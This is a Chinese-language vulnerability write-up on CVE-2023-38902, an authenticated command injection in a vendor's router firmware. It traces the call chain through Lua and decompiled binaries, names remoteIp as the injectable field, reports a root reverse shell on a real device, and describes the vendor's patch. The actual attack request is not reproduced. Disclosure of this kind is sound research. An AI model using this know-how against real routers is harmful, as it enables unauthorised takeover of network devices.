这是我收获的第一个 CVE 编号,在复现了 winmt 师傅的 CVE-2023-34644
后,他告诉我最新的固件虽然做了一些简单的处理,导致无法在未授权的情况下 RCE
,但因为没有从根源上对命令执行点做限制,所以在授权后,仍然可以进行 RCE
。我对最新的固件进行了分析,完整记录了授权后的 RCE
漏洞从分析到利用的过程。从提交漏洞到现在也有半年的时间了,并且某厂商官网也已经发布了最新的固件,现将该文章分享出来,供大家进行学习和研究。
PS:本文记录的部分内容和之前发布过的复现 CVE-2023-34644
文章中的部分内容有相似之处,因为对前期的 lua
文件分析基本一致。为了保证读任何一篇单独的文章都较为通顺和连贯,因此就保留了两篇文章中相似的部分。
仿真环境搭建请参考 https://bbs.kanxue.com/thread-277386.htm#msg_header_h2_4
该文章详细记录了某厂商路由器的仿真过程
qemu
的启动脚本如下
其中的 vmlinux-3.2.0-4-4kc-malta
debian_squeeze_mipsel_standard.qcow2
文件从https://people.debian.org/~aurel32/qemu/mipsel/ 进行下载
在执行 qemu
启动脚本之前,执行下面的脚本,创建一个网桥
在 usr/lib/lua/luci/modules/cmd.lua
文件中有如下代码,容易让初学者搞混,所以在此简单说明一下
首先是先定义了一个表 opt
里面装了字符串 add
del
upload
等字符串,然后又定义了四张空表 acConfig
devConfig
devSta
devCap
,接下来是一个 for
循环来遍历 opt
表。
以 devSta[opt[i]] = function(params)
这行代码为例,假设现在 opt[i]
是元素 add
,function(params)
这里是声明了一个匿名函数,因为函数也是一个变量,这个变量被直接存储到了 devSta
表中,以键值的形式存在,键就是字符串 add
而值就是这个函数,之后调用这个函数的话可以直接写 devSta["add"]()
为什么特别说明这里呢?因为我在开始分析的时候,我一直以为这里是匹配到对应的键值后直接去执行函数,导致在此处执行了 doParams
fetch
函数(实际上通过上面的分析也知道,这里只是定义了这些函数,并没有进行调用)
下面开始正式从入口分析 /api/cmd
的这条链,在 /usr/lib/lua/luci/controller/eweb/api.lua
文件中存在 entry({"api", "cmd"}, call("rpc_cmd"), nil)
这行代码,意味着授权后访问 /api/cmd
路径时,可以调用 rpc_cmd
函数
通过分析 rpc_cmd
函数得知 _tbl
已经包含了 cmd.lua
中所有变量的定义(上文已经分析过了),主要是 ac_config
dev_config
dev_sta
这三个表包含了 add
del
update
get
set
clear
doc
这些操作,而 devCap
表只有 get
,相关代码如下
然后来看 rpc_cmd
函数中的这行代码 ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
jsonrpc.handle
函数的参数是 _tbl
,看下 luci.utils.jsonrpc
文件中的 handle
函数,发现又将参数 tbl
传给了 resolve
,同时传入的还有报文中的 method
字段
resolve
函数主要是将 mod
表中存放键值对中的函数提取出来,假设 method
为 devCap.get
,那么下面的代码最后可以将匿名函数 devCap["get"]
赋值给 mod
并返回
分析 proxy(method, json.params or {})
发现,将刚刚解析的返回值 method
被 proxy
函数当做参数,这里的 method
又传入了 luci.util
文件中的 copcall
函数
copcall
函数主要是对 coxpcall
的一个封装
终于在 coxpcall
函数内部发现调用了 f
oldpcall(coroutine.create, f)
这行代码的目的是在一个新的协程中运行函数 f
。至此开始执行上面提到的匿名函数,重新回顾一下它的代码,该函数调用了 doParams
对 json
数据进行解析,随后调用了 fetch
函数
这个 fetch
函数在 cmd.lua
文件中已经定义了,这里调用了 fn
也就是 fetch
函数传入进来的第一个参数
fetch
函数的第一个参数为 model.fetch
,model
是 require "dev_cap.lua"
后的结果,所以在 cmd.lua
的 fetch
函数内部调用了 dev_sta.lua
文件中定义的 fetch
函数,该函数定义如下,能够看到最后是调用了 /usr/lib/lua/libuflua.so
文件中的 client_call
函数
用 IDA
打开 /usr/lib/lua/libuflua.so
文件,发现并没有看到有定义的 client_call
函数,不过发现了 uf_client_call
函数,猜测可能是程序内部进行了关联。shift+f12
搜索字符串发现并没有看到 client_call
(如下图)
大概率说明 IDA
没有把 client_call
解析成字符串,而是解析成了代码。我这里用 010Editor
打开该文件进行搜索字符串 client_call
,成功搜索到后发现其地址位于 0xff0
处
可以看到 IDA
确实是将 0xff0
位置的数据当做了代码来解析,选中这部分数据,按 a
,就能以字符串的形式呈现了
对字符串 client_call
进行交叉引用,发现最终调用位置如下,luaL_register
是 Lua
中注册 C
语言编写的函数,它作用是将 C
函数添加到一个 Lua
模块中,使得这些 C
函数能够从 Lua
代码中被调用
该函数的原型如下
这里重点关注第三个参数,这就说明 0x1101C
的位置存放的是一个字符串以及一个函数指针(如下图),因此判断出 client_call
实际就定义在了 sub_A00
中
sub_A00
函数定义如下,可以看到最后是调用了 uf_client_call
函数,而在这之前的很多赋值操作如 *(_DWORD *)(v3 + 12) = lua_tolstring(a1, 4, 0);
,很容易能猜测到其实是在解析 Lua
传入的各个参数字段。在 Lua
的代码中 uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi)
这里传入了多个参数,但是 sub_A00
函数就一个参数 a1
,结合的操作分析出这里是在解析参数
uf_client_call
函数是一个引用外部库的函数,用 grep
在整个文件系统搜索字符串 uf_client_call
,结合 /usr/lib/lua/libuflua.so
文件中引用的外部库进行分析,最终判断出 uf_client_call
函数定义在 /usr/lib/libunifyframe.so
uf_client_call
函数首先判断了 method
的类型,然后解析出报文中各字段的值,并将其键值对添加到一个 JSON
对象中,接着将最终处理好的 JSON
对象转换为 JSON
格式的字符串,通过 uf_socket_msg_write
用 socket
套接字进行数据传输
既然存在 uf_socket_msg_write
进行数据发送,那么肯定就在一个地方有用 uf_socket_msg_read
函数进行数据的接收,用 grep
进行字符串搜索,发现 /usr/sbin/unifyframe-sgi.elf
文件,并且该文件还位于 /etc/init.d
目录下,这意味着该进程最初就会启动并一直存在,所以判断出这个 unifyframe-sgi.elf
文件就是用来接收 libunifyframe.so
文件所发送过来的数据
该调用链是 winmt 师傅在 CVE-2023-34644 利用的,在 219
之前该调用链可以通杀该厂商大部分设备。下面介绍的这条调用链所出示的代码均来自某型号的 204
版本。
在 /usr/lib/lua/luci/controller/eweb/api.lua
文件中,配置了路由 entry({"api", "auth"}, call("rpc_auth"), nil).sysauth = false
这意味着当用户访问 /api/auth
路径时,将调用 rpc_auth
。在 luci
框架中 sysauth
属性控制是否需要进行系统级的用户认证才能访问该路由,这里的 sysauth
属性为 false
,表示无需进行系统认证即可访问。
rpc_auth
函数首先引入了一些模块,然后获取 HTTP_CONTENT_LENGTH
的长度是否大于 1000
字节,如果不大于的话会将准备 HTTP
响应的类型设置为 application/json
,下面的 handle
函数第一个参数 _tbl
传入的是 luci.modules.noauth
文件返回的内容
到了 handle
函数内部后的流程与分析最新版的步骤一样,就不再赘述,最后的结果就是能在这里触发noauth
文件中的 merge
函数(前提是报文中要设置 method
字段的值为 merge
)
noauth
的文件中定义了 merge
函数
merge
函数又调用了 /usr/lib/lua/luci/modules/cmd.lua
文件中的 devSta.set
函数,之后的过程又和上文中分析最新版的步骤一样,也不再重复记录
在 219
版本,在 noauth.lua
文件中的 merge
函数,加入了对 params
中危险字符的过滤,调用了 includeXxs
和 includeQuote
函数,对换行符、回车符、反引号、&
、$
、;
、|
等符号都做了过滤,这就意味着后续无法再进行命令注入了。而 219
版本只在这里进行了危险字符的过滤,只要从其他地方调用到诸如 dev_cap
dev_sta
表中的函数依然可以进行命令注入
下面开始分析 /usr/sbin/unifyframe-sgi.elf
文件,整体流程是在 main
函数调用了三个关键函数 uf_socket_msg_read
parse_content
add_pkg_cmd2_task
,他们的作用分别为 接收数据 解析数据 执行命令
由 uf_socket_msg_read
函数将 json
数据读入到内存中,地址为 v31+1
通过 gdb
来查看读入的数据 这里只为说明 gdb
可以查看内存中读入的数据,文章前后发送的报文并不一样
json
数据的各字段进行解析在 parse_content
函数中完成,该函数首先判断了 params
和 method
字段是否存在,然后在 method
字段不为 cmdArr
的情况下,调用 parse_obj2_cmd
函数进一步对字段进行解析
parse_obj2_cmd
函数中具体的解析了各个字段及类型并把它们记录到一个堆块中,最终返回该堆块地址,便于之后的访问。想知道 POC
的编写格式就要对此处进行逆向分析,具体分析结果已写在注释中
将这个堆块装的各种数据绘制成图片可能更直观一些(如下) xxx
代表有些保留字段,或者是一些标志位,它们在后续利用过程中并不重要,暂不详细记录
使用 GDB
调试到此处看到的各字段信息如下
parse_obj2_cmd
函数结束后,会执行 pkg_add_cmd(a1, v15)
,它的核心作用就是在 a1
这个数据结构中记录了 v15
的指针,使得后续操作通过 a1
访问到刚刚解析出来的各个字段。不过这 pkg_add_cmd
函数里有一个谜之操作,在这行代码中 *(_DWORD *)(a1 + 92) = a2 + 13
是把 a2
也就是 v15
的值加上了 13
存储到了 a1
中,而通过后续的分析得知,之后访问这个 v15
的堆块是通过 *(a1+92)-13
得到的地址。存的时候 +13
,访问的时候 -13
,这里没太理解但并不影响我们后续的分析
json
数据解析完成后,会调用 add_pkg_cmd2_task
,该函数通过访问之前解析出的各个字段,判断 method
是不是 devCap
,如果是的话可以调用后续的漏洞函数(不是 devCap
也可以触发漏洞但是调用链走的并不是我分析的这条)
uf_cmd_call
函数
remote_call
函数
最终存在命令注入的函数 sub_41A148
上述的调用链已经分析的很清楚了并且都标注在了注释中,理清楚这些后攻击报文的构造就显而易见了。下面说一下我认为有必要提及的两点
在 204
固件中,其实是可以从 remotePwd
字段中注入命令并执行的,而且在最新的固件中,也可以看到这里判断了 remotePwd
是否存在,如果存在的话也可以进行拼接,最终导致命令执行,相关代码如下
但在最新的固件中对 remotePwd
字段注入命令是不成功的。
因为发现在 parse_obj2_cmd
函数中对 json
数据解析时,对于 remotePwd
字段的处理是存在 Bug
的,它限制了 remotePwd
字段要为 array
类型(如下代码所示),但是前端对于 array
类型的 remotePwd
会报错。这里其实能猜测出 remotePwd
字段是 string
类型,实际上代码应该是 json_object_get_type(v37) == 6
。这就导致设置 remotePwd
类型时要么是前端报错,要么是二进制程序中判断这个类型错误,从而阴差阳错的阻止了从这里进行注入
而在 204
固件中,它的功能实现都是由 lua
语言来完成的,最终命令执行的漏洞点如下(fetch_sid
函数的参数 password
就为 remotePwd
字段),因此在该固件版本中可以从 remotePwd
字段进行注入,而之后的版本因为 Bug
的原因无法进行注入
攻击报文如下,这些字段都是缺一不可的。而没有出现的字段都是可有可无的
下面来贴出证明这几个字段缺一不可的关键代码(其实上文的分析中都有提到,这里再汇总一下)
method
和 params
不能为空,因为这里有如下检查,如果他们不存在的话会直接返回 -1
而 module
也必须存在,并且 module
字段是 params
中的一个值。可以看到这里解析出了params
,给到 v38
。而后 module
字段是从 v38
也就是 params
中解析出来的,如果 module
字段不存在的话,会执行 return 0
而操作类型要设置为 devCap
,下面 if(v3 == 3)
才可以执行到 remote_call
函数。
操作符为 get
是因为在 Lua
文件中只有 opt[i]
为 get
的时候才在 devCap
表中定义了字符串 get
所对应函数
这里拿在某鱼上买的真机进行测试,目标路由器某型号的版本是 217
。但搭建了 219
的仿真环境也是可以攻击成功的
首先登录路由器的管理后台
然后用 Burp Suite
抓包,拿到 auth
的值
向 /cgi-bin/luci/api/cmd
发送 POST
报文
可以看到反弹 shell
成功,此时拿到了路由器的最高权限
官方在 226
版本,对上述漏洞发布了补丁
新添加了一个 detect_remoteIp_invalid
函数,该函数检查了 remoteIP
字段是否为纯数字或者字符 .
,因为正常的 IP
应该为 xx.xx.xx.xx
。这相当于对命令注入的字段做了一个过滤
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-38902
#!/bin/bash
sudo
qemu-system-mipsel \
-cpu 74Kf \
-M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append
"root=/dev/sda1 console=tty0"
\
-net nic \
-net tap,ifname=tap0,script=no,downscript=no \
-nographic
#!/bin/bash
sudo
qemu-system-mipsel \
-cpu 74Kf \
-M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append
"root=/dev/sda1 console=tty0"
\
-net nic \
-net tap,ifname=tap0,script=no,downscript=no \
-nographic
#!/bin/sh
sudo
brctl addbr br0
sudo
brctl addif br0 ens33
sudo
brctl stp br0 off
sudo
brctl setfd br0 1
sudo
brctl sethello br0 1
sudo
ifconfig
br0 0.0.0.0 promisc up
sudo
ifconfig
ens33 0.0.0.0 promisc up
sudo
dhclient br0
sudo
brctl show br0
sudo
brctl showstp br0
sudo
tunctl -t tap0 -u root
sudo
brctl addif br0 tap0
sudo
ifconfig
tap0 0.0.0.0 promisc up
sudo
brctl showstp br0
#!/bin/sh
sudo
brctl addbr br0
sudo
brctl addif br0 ens33
sudo
brctl stp br0 off
sudo
brctl setfd br0 1
sudo
brctl sethello br0 1
sudo
ifconfig
br0 0.0.0.0 promisc up
sudo
ifconfig
ens33 0.0.0.0 promisc up
sudo
dhclient br0
sudo
brctl show br0
sudo
brctl showstp br0
sudo
tunctl -t tap0 -u root
sudo
brctl addif br0 tap0
sudo
ifconfig
tap0 0.0.0.0 promisc up
sudo
brctl showstp br0
local opt
=
{
"add"
,
"del"
,
"update"
,
"get"
,
"set"
,
"clear"
,
'doc'
}
acConfig, devConfig, devSta, devCap
=
{}, {}, {}, {}
for
i
=
1
,
......
devSta[opt[i]]
=
function(params)
local model
=
require
"dev_sta"
params.method
=
opt[i]
params.cfg_cmd
=
"dev_sta"
local data, back, ip, password, shell
=
doParams(params)
return
fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end
......
end
local opt
=
{
"add"
,
"del"
,
"update"
,
"get"
,
"set"
,
"clear"
,
'doc'
}
acConfig, devConfig, devSta, devCap
=
{}, {}, {}, {}
for
i
=
1
,
......
devSta[opt[i]]
=
function(params)
local model
=
require
"dev_sta"
params.method
=
opt[i]
params.cfg_cmd
=
"dev_sta"
local data, back, ip, password, shell
=
doParams(params)
return
fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end
......
end
function hello()
local model
=
require
"dev_sta"
params.method
=
opt[i]
params.cfg_cmd
=
"dev_sta"
local data, back, ip, password, shell
=
doParams(params)
return
fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end
devSta[
"add"
]
=
hello
-
-
假设此时遍历到了opt表中的add元素
function hello()
local model
=
require
"dev_sta"
params.method
=
opt[i]
params.cfg_cmd
=
"dev_sta"
local data, back, ip, password, shell
=
doParams(params)
return
fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end
devSta[
"add"
]
=
hello
-
-
假设此时遍历到了opt表中的add元素
function rpc_cmd()
local jsonrpc
=
require
"luci.utils.jsonrpc"
local http
=
require
"luci.http"
local ltn12
=
require
"luci.ltn12"
local _tbl
=
require
"luci.modules.cmd"
http.prepare_content(
"application/json"
)
ltn12.pump.
all
(jsonrpc.handle(_tbl, http.source()), http.write)
end
function rpc_cmd()
local jsonrpc
=
require
"luci.utils.jsonrpc"
local http
=
require
"luci.http"
local ltn12
=
require
"luci.ltn12"
local _tbl
=
require
"luci.modules.cmd"
http.prepare_content(
"application/json"
)
ltn12.pump.
all
(jsonrpc.handle(_tbl, http.source()), http.write)
end
local opt
=
{
"add"
,
"del"
,
"update"
,
"get"
,
"set"
,
"clear"
,
'doc'
}
acConfig, devConfig, devSta, devCap
=
{}, {}, {}, {}
for
i
=
1
,
acConfig[opt[i]]
=
function(params)
local model
=
require
"ac_config"
params.method
=
opt[i]
params.cfg_cmd
=
"ac_config"
local data, back, ip, password, shell
=
doParams(params)
return
fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end
devConfig[opt[i]]
=
function(params)
local model
=
require
"dev_config"
params.method
=
opt[i]
params.cfg_cmd
=
"dev_config"
local data, back, ip, password, shell
=
doParams(params)
return
fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end
devSta[opt[i]]
=
function(params)
local model
=
require
"dev_sta"
params.method
=
opt[i]
params.cfg_cmd
=
"dev_sta"
local data, back, ip, password, shell
=
doParams(params)
return
fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end
if
opt[i]
=
=
"get"
then
devCap[opt[i]]
=
function(params)
local model
=
require
"dev_cap"
params.method
=
opt[i]
params.cfg_cmd
=
"dev_cap"
local data, back, ip, password, shell
=
doParams(params)
return
fetch(model.fetch, shell, params, opt[i], params.module, ip, password)
end
end
if
opt[i]
=
=
"doc"
then
syshell
=
function(params)
local tool
=
require
"luci.utils.tool"
return
tool.doc(params)
end
end
end
local opt
=
{
"add"
,
"del"
,
"update"
,
"get"
,
"set"
,
"clear"
,
'doc'
}
acConfig, devConfig, devSta, devCap
=
{}, {}, {}, {}
for
i
=
1
,
acConfig[opt[i]]
=
function(params)
local model
=
require
"ac_config"
params.method
=
opt[i]
params.cfg_cmd
=
"ac_config"
local data, back, ip, password, shell
=
doParams(params)
return
fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end
devConfig[opt[i]]
=
function(params)
local model
=
require
"dev_config"
params.method
=
opt[i]
params.cfg_cmd
=
"dev_config"
local data, back, ip, password, shell
=
doParams(params)
return
fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end
devSta[opt[i]]
=
function(params)
local model
=
require
"dev_sta"
params.method
=
opt[i]
params.cfg_cmd
=
"dev_sta"
local data, back, ip, password, shell
=
doParams(params)
return
fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end
if
opt[i]
=
=
"get"
then
devCap[opt[i]]
=
function(params)
local model
=
require
"dev_cap"
params.method
=
opt[i]
params.cfg_cmd
=
"dev_cap"
local data, back, ip, password, shell
=
doParams(params)
return
fetch(model.fetch, shell, params, opt[i], params.module, ip, password)
end
end
if
opt[i]
=
=
"doc"
then
syshell
=
function(params)
local tool
=
require
"luci.utils.tool"
return
tool.doc(params)
end
end
end
function handle(tbl, rawsource, ...)
......
if
stat then
if
type
(json.method)
=
=
"string"
then
local method
=
resolve(tbl, json.method)
if
method then
response
=
reply(json.jsonrpc, json.
id
, proxy(method, json.params
or
{}))
......
end
function handle(tbl, rawsource, ...)
......
if
stat then
if
type
(json.method)
=
=
"string"
then
local method
=
resolve(tbl, json.method)
if
method then
response
=
reply(json.jsonrpc, json.
id
, proxy(method, json.params
or
{}))
......
end
function resolve(mod, method)
local path
=
luci.util.split(method,
"."
)
for
j
=
1
,
if
not
type
(mod)
=
=
"table"
then
break
end
mod
=
rawget(mod, path[j])
if
not
mod then
break
end
end
mod
=
type
(mod)
=
=
"table"
and
rawget(mod, path[
if
type
(mod)
=
=
"function"
then
return
mod
end
end
function resolve(mod, method)
local path
=
luci.util.split(method,
"."
)
for
j
=
1
,
if
not
type
(mod)
=
=
"table"
then
break
end
mod
=
rawget(mod, path[j])
if
not
mod then
break
end
end
mod
=
type
(mod)
=
=
"table"
and
rawget(mod, path[
if
type
(mod)
=
=
"function"
then
return
mod
end
end
function proxy(method, ...)
local tool
=
require
"luci.utils.tool"
local res
=
{luci.util.copcall(method, ...)}
......
end
function proxy(method, ...)
local tool
=
require
"luci.utils.tool"
local res
=
{luci.util.copcall(method, ...)}
......
end
function copcall(f, ...)
return
coxpcall(f, copcall_id, ...)
end
function copcall(f, ...)
return
coxpcall(f, copcall_id, ...)
end
function coxpcall(f, err, ...)
local res, co
=
oldpcall(coroutine.create, f)
......
end
function coxpcall(f, err, ...)
local res, co
=
oldpcall(coroutine.create, f)
......
end
devSta[opt[i]]
=
function(params)
local model
=
require
"dev_sta"
params.method
=
opt[i]
params.cfg_cmd
=
"dev_sta"
local data, back, ip, password, shell
=
doParams(params)
return
fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
devSta[opt[i]]
=
function(params)
local model
=
require
"dev_sta"
params.method
=
opt[i]
params.cfg_cmd
=
"dev_sta"
local data, back, ip, password, shell
=
doParams(params)
return
fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
local function fetch(fn, shell, params, ...)
require
"luci.json"
local tool
=
require
"luci.utils.tool"
local _start
=
os.time()
local _res
=
fn(...)
......
end
local function fetch(fn, shell, params, ...)
require
"luci.json"
local tool
=
require
"luci.utils.tool"
local _start
=
os.time()
local _res
=
fn(...)
......
end
function fetch(cmd, module, param, back, ip, password, force, not_change_configId, multi)
local uf_call
=
require
"libuflua"
......
local stat
=
uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi)
return
stat
end
function fetch(cmd, module, param, back, ip, password, force, not_change_configId, multi)
local uf_call
=
require
"libuflua"
......
local stat
=
uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi)
return
stat
end
void luaL_register (lua_State
*
L, const char
*
libname, const luaL_Reg
*
l);
void luaL_register (lua_State
*
L, const char
*
libname, const luaL_Reg
*
l);
int
__fastcall sub_A00(
int
a1)
{
v13[
0
]
=
0
;
v2
=
malloc(
52
);
v3
=
v2;
if
( v2 )
{
memset(v2,
0
,
52
);
v5
=
4
;
*
(_DWORD
*
)v3
=
luaL_checkinteger(a1,
1
);
*
(_DWORD
*
)(v3
+
4
)
=
luaL_checklstring(a1,
2
,
0
);
v6
=
luaL_checklstring(a1,
3
,
0
);
v7
=
*
(_DWORD
*
)v3;
*
(_DWORD
*
)(v3
+
8
)
=
v6;
if
( v7 !
=
3
)
{
*
(_DWORD
*
)(v3
+
12
)
=
lua_tolstring(a1,
4
,
0
);
*
(_BYTE
*
)(v3
+
41
)
=
lua_toboolean(a1,
5
)
=
=
1
;
v5
=
6
;
*
(_BYTE
*
)(v3
+
40
)
=
1
;
}
*
(_DWORD
*
)(v3
+
20
)
=
lua_tolstring(a1, v5,
0
);
*
(_DWORD
*
)(v3
+
24
)
=
lua_tolstring(a1, v5
+
1
,
0
);
v8
=
v5
+
2
;
if
(
*
(_DWORD
*
)v3 )
{
if
(
*
(_DWORD
*
)v3
=
=
2
)
{
v8
=
v5
+
3
;
*
(_BYTE
*
)(v3
+
43
)
=
lua_toboolean(a1, v5
+
2
)
=
=
1
;
}
}
else
{
*
(_BYTE
*
)(v3
+
43
)
=
lua_toboolean(a1, v5
+
2
)
=
=
1
;
v8
=
v5
+
4
;
*
(_BYTE
*
)(v3
+
44
)
=
lua_toboolean(a1, v5
+
3
)
=
=
1
;
}
*
(_BYTE
*
)(v3
+
48
)
=
lua_toboolean(a1, v8)
=
=
1
;
v4
=
uf_client_call(v3, v13,
0
);
}
......
int
__fastcall sub_A00(
int
a1)
{
v13[
0
]
=
0
;
v2
=
malloc(
52
);
v3
=
v2;
if
( v2 )
{
memset(v2,
0
,
52
);
v5
=
4
;
*
(_DWORD
*
)v3
=
luaL_checkinteger(a1,
1
);
*
(_DWORD
*
)(v3
+
4
)
=
luaL_checklstring(a1,
2
,
0
);
v6
=
luaL_checklstring(a1,
3
,
0
);
v7
=
*
(_DWORD
*
)v3;
*
(_DWORD
*
)(v3
+
8
)
=
v6;
if
( v7 !
=
3
)
{
*
(_DWORD
*
)(v3
+
12
)
=
lua_tolstring(a1,
4
,
0
);
*
(_BYTE
*
)(v3
+
41
)
=
lua_toboolean(a1,
5
)
=
=
1
;
v5
=
6
;
*
(_BYTE
*
)(v3
+
40
)
=
1
;
}
*
(_DWORD
*
)(v3
+
20
)
=
lua_tolstring(a1, v5,
0
);
*
(_DWORD
*
)(v3
+
24
)
=
lua_tolstring(a1, v5
+
1
,
0
);
v8
=
v5
+
2
;
if
(
*
(_DWORD
*
)v3 )
{
if
(
*
(_DWORD
*
)v3
=
=
2
)
{
v8
=
v5
+
3
;
*
(_BYTE
*
)(v3
+
43
)
=
lua_toboolean(a1, v5
+
2
)
=
=
1
;
}
}
else
{
*
(_BYTE
*
)(v3
+
43
)
=
lua_toboolean(a1, v5
+
2
)
=
=
1
;
v8
=
v5
+
4
;
*
(_BYTE
*
)(v3
+
44
)
=
lua_toboolean(a1, v5
+
3
)
=
=
1
;
}
*
(_BYTE
*
)(v3
+
48
)
=
lua_toboolean(a1, v8)
=
=
1
;
v4
=
uf_client_call(v3, v13,
0
);
}
......
int
__fastcall uf_client_call(_DWORD
*
a1,
int
a2,
int
*
a3)
{
......
v5
=
json_object_new_object();
......
switch (
*
a1 )
/
/
这里的
*
a1指的就是uf_call.client_call函数的第一个参数ctype,他取决于method它在dev_sta.lua文件中被赋值为了
2
{
case
0
:
v15
=
((
int
(
*
)(void))strlen)()
+
10
;
......
v13
=
"acConfig.%s"
;
goto LABEL_22;
case
1
:
v14
=
((
int
(
*
)(void))strlen)()
+
11
;
......
v13
=
"devConfig.%s"
;
goto LABEL_22;
case
2
:
v8
=
((
int
(
*
)(void))strlen)()
+
8
;
......
v13
=
"devSta.%s"
;
goto LABEL_22;
case
3
:
v16
=
((
int
(
*
)(void))strlen)()
+
8
;
......
v13
=
"devCap.%s"
;
goto LABEL_22;
case
4
:
v17
=
((
int
(
*
)(void))strlen)()
+
7
;
......
LABEL_22:
/
/
接下来使用了大量的json_object_object_add函数,该函数的作用是在已有的JSON对象中添加一个键值对,以json_object_object_add(v20,
"remoteIp"
, v23)函数为例,作用是将{
"remote"
,v23}这个键值对添加到v20所指的JSON对象中,
json_object_object_add(v5,
"method"
, v19);
v20
=
json_object_new_object();
......
v21
=
json_object_new_string(a1[
2
]);
json_object_object_add(v20,
"module"
, v21);
v22
=
a1[
5
];
if
( !v22 )
goto LABEL_35;
json_object_object_add(v20,
"remoteIp"
, v23);
LABEL_35:
v25
=
a1[
6
];
if
( v25 )
{
v26
=
json_object_new_string(v25);
......
json_object_object_add(v20,
"remotePwd"
, v26);
}
if
( a1[
9
] )
{
......
json_object_object_add(v20,
"buf"
, v27);
}
if
(
*
a1 )
{
if
(
*
a1 !
=
2
)
{
v28
=
*
((unsigned __int8
*
)a1
+
45
);
goto LABEL_58;
}
if
(
*
((_BYTE
*
)a1
+
42
) )
{
v30
=
json_object_new_boolean(
1
);
if
( v30 )
{
v31
=
v20;
v32
=
"execute"
;
goto LABEL_56;
}
}
}
else
{
if
(
*
((_BYTE
*
)a1
+
43
) )
{
v29
=
json_object_new_boolean(
1
);
if
( v29 )
json_object_object_add(v20,
"force"
, v29);
}
if
(
*
((_BYTE
*
)a1
+
44
) )
{
v30
=
json_object_new_boolean(
1
);
if
( v30 )
{
v31
=
v20;
v32
=
"configId_not_change"
;
LABEL_56:
json_object_object_add(v31, v32, v30);
goto LABEL_57;
}
}
}
LABEL_57:
v28
=
*
((unsigned __int8
*
)a1
+
45
);
LABEL_58:
if
( v28 )
{
v33
=
json_object_new_boolean(
1
);
if
( v33 )
json_object_object_add(v20,
"from_url"
, v33);
}
if
(
*
((_BYTE
*
)a1
+
47
) )
{
v34
=
json_object_new_boolean(
1
);
if
( v34 )
json_object_object_add(v20,
"from_file"
, v34);
}
if
(
*
((_BYTE
*
)a1
+
48
) )
{
v35
=
json_object_new_boolean(
1
);
if
( v35 )
json_object_object_add(v20,
"multi"
, v35);
}
if
(
*
((_BYTE
*
)a1
+
46
) )
{
v36
=
json_object_new_boolean(
1
);
if
( v36 )
json_object_object_add(v20,
"not_commit"
, v36);
}
if
(
*
((_BYTE
*
)a1
+
40
) )
{
v37
=
json_object_new_boolean(
*
((unsigned __int8
*
)a1
+
41
) ^
1
);
if
( v37 )
json_object_object_add(v20,
"async"
, v37);
}
v38
=
(_BYTE
*
)a1[
3
];
if
( !v38 || !
*
v38 )
goto LABEL_78;
v39
=
json_object_new_string(v38);
json_object_object_add(v20,
"data"
, v39);
LABEL_78:
v41
=
(_BYTE
*
)a1[
4
];
if
( v41 &&
*
v41 )
{
v42
=
json_object_new_string(v41);
if
( !v42 )
{
json_object_put(v20);
json_object_put(v5);
v40
=
630
;
goto LABEL_82;
}
json_object_object_add(v20,
"device"
, v42);
}
json_object_object_add(v5,
"params"
, v20);
/
/
将上面的v20当做了params的值,向v5中添加新的键值对
v43
=
json_object_to_json_string(v5);
/
/
json_object_to_json_string作用是将JSON对象转换为JSON格式的字符串
......
v44
=
uf_socket_client_init(
0
);
......
v50
=
strlen(v43);
uf_socket_msg_write(v44, v43, v50);
/
/
最终调用uf_socket_msg_write,用socket实现了进程间通信,将解析好的json数据发送给其他进程进行处理
......
int
__fastcall uf_client_call(_DWORD
*
a1,
int
a2,
int
*
a3)
{
......
v5
=
json_object_new_object();
......
switch (
*
a1 )
/
/
这里的
*
a1指的就是uf_call.client_call函数的第一个参数ctype,他取决于method它在dev_sta.lua文件中被赋值为了
2
{
case
0
:
v15
=
((
int
(
*
)(void))strlen)()
+
10
;
......
v13
=
"acConfig.%s"
;
goto LABEL_22;
case
1
:
v14
=
((
int
(
*
)(void))strlen)()
+
11
;
......
v13
=
"devConfig.%s"
;
goto LABEL_22;
case
2
:
v8
=
((
int
(
*
)(void))strlen)()
+
8
;
......
v13
=
"devSta.%s"
;
goto LABEL_22;
case
3
:
v16
=
((
int
(
*
)(void))strlen)()
+
8
;
......
v13
=
"devCap.%s"
;
goto LABEL_22;
case
4
:
v17
=
((
int
(
*
)(void))strlen)()
+
7
;
......
LABEL_22:
/
/
接下来使用了大量的json_object_object_add函数,该函数的作用是在已有的JSON对象中添加一个键值对,以json_object_object_add(v20,
"remoteIp"
, v23)函数为例,作用是将{
"remote"
,v23}这个键值对添加到v20所指的JSON对象中,
json_object_object_add(v5,
"method"
, v19);
v20
=
json_object_new_object();
......
v21
=
json_object_new_string(a1[
2
]);
json_object_object_add(v20,
"module"
, v21);
v22
=
a1[
5
];
if
( !v22 )
goto LABEL_35;
json_object_object_add(v20,
"remoteIp"
, v23);
LABEL_35:
v25
=
a1[
6
];
if
( v25 )
{
v26
=
json_object_new_string(v25);
......
json_object_object_add(v20,
"remotePwd"
, v26);
}
if
( a1[
9
] )
{
......
json_object_object_add(v20,
"buf"
, v27);
}
if
(
*
a1 )
{
if
(
*
a1 !
=
2
)
{
v28
=
*
((unsigned __int8
*
)a1
+
45
);
goto LABEL_58;
}
if
(
*
((_BYTE
*
)a1
+
42
) )
{
v30
=
